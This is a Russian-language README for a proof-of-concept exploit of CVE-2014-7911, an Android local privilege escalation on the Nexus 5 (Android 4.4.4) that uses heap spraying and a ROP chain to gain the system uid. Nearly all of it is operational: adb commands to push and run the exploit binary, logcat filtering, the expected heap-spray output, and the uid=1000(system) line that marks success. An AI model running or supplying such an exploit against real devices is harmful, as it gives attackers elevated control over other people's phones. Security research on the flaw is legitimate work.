
Эксплойт доказательства концепции для локального повышения привилегий в Android (CVE-2014-7911), нацеленный на Nexus5 с ROP-цепочкой и кучей, распыляемой для получения системного uid.
PoC для CVE-2014-7911 на Nexus5 Android 4.4.4_r1 на основе retme7, использует другую цепочку ROP
Подключите телефон через adb
adb push jni/expolit /data/local/tmp
adb logcat | grep auo_
Запустите этот эксплойт, нажмите кнопку “CVE-2014-7911”, и вы увидите:
D/auo_CVE20147911(24892): staticAddr = 0x43a1f000
D/auo_CVE20147911(24892): heap sparying... 0
D/auo_CVE20147911(24892): heap sparying... 100
D/auo_CVE20147911(24892): heap sparying... 200
D/auo_CVE20147911(24892): heap sparying... 300
D/auo_CVE20147911(24892): heap sparying... 400
D/auo_CVE20147911(24892): heap sparying... 500
D/auo_CVE20147911(24892): heap sparying... 600
D/auo_CVE20147911(24892): heap sparying... 700
D/auo_CVE20147911(24892): heap sparying... 800
D/auo_CVE20147911(24892): heap sparying... 900
D/auo_CVE20147911(24892): heap sparying... 1000
D/auo_CVE20147911(24892): heap sparying... 1100
D/auo_CVE20147911(24892): heap sparying... 1200
D/auo_CVE20147911(24892): heap sparying... 1300
D/auo_CVE20147911(24892): heap sparying... 1400
D/auo_CVE20147911(24892): heap sparying... 1500
D/auo_CVE20147911(24892): heap sparying... 1600
D/auo_CVE20147911(24892): heap sparying... 1700
D/auo_CVE20147911(24892): heap sparying... 1800
D/auo_CVE20147911(24892): heap sparying... 1900
Затем несколько раз сверните activity, пока система не упадёт. Если вы увидите:
D/auo_exploit(22665): uid=1000(system) gid=1000(system)
эксплойт выполнен успешно. Если телефон просто завис, ваше устройство уязвимо, но эксплойт мог не сработать (вам следует найти другие цепочки ROP).